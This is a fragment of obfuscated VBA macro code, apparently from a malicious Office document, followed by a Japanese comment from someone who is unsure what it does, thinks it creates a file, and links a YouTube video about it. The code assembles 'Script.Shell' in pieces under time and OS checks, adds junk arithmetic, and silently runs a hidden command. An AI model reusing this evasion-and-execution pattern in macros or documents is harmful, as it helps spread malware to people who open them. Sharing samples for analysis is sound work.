If hournow < minf Then
    kdhvs89dwfye6 = kdhvs89dwfye6 + "Sc"
    kdhvs89dwfye6 = kdhvs89dwfye6 + "ri"
    If Application.OperatingSystem Like "*Windows*" Then
        kdhvs89dwfye6 = kdhvs89dwfye6 + "p"
        kdhvs89dwfye6 = kdhvs89dwfye6 + "t"
        kdhvs89dwfye6 = kdhvs89dwfye6 + "."
        kdhvs89dwfye6 = kdhvs89dwfye6 + "S"
        kdhvs89dwfye6 = kdhvs89dwfye6 + "h"
        kdhvs89dwfye6 = kdhvs89dwfye6 + "ell"
    End If
End If
qtsjlsgfg = 10000 - 10000

cneyowhfg43iw = False

Set cdiyrwiw28jwhw = CreateObject(kdhvs89dwfye6)
xx = cdiyrwiw28jwhw.Run(veiure5278eu2 + xoshggeigr03, 0, False)

Dim OCMYULIKALLWYTQ
End Sub

詳しくは分かりませんが、ファイルを生成するようです。Yotubeに動画を載せています。

https://youtu.be/RKBuEsSRCGY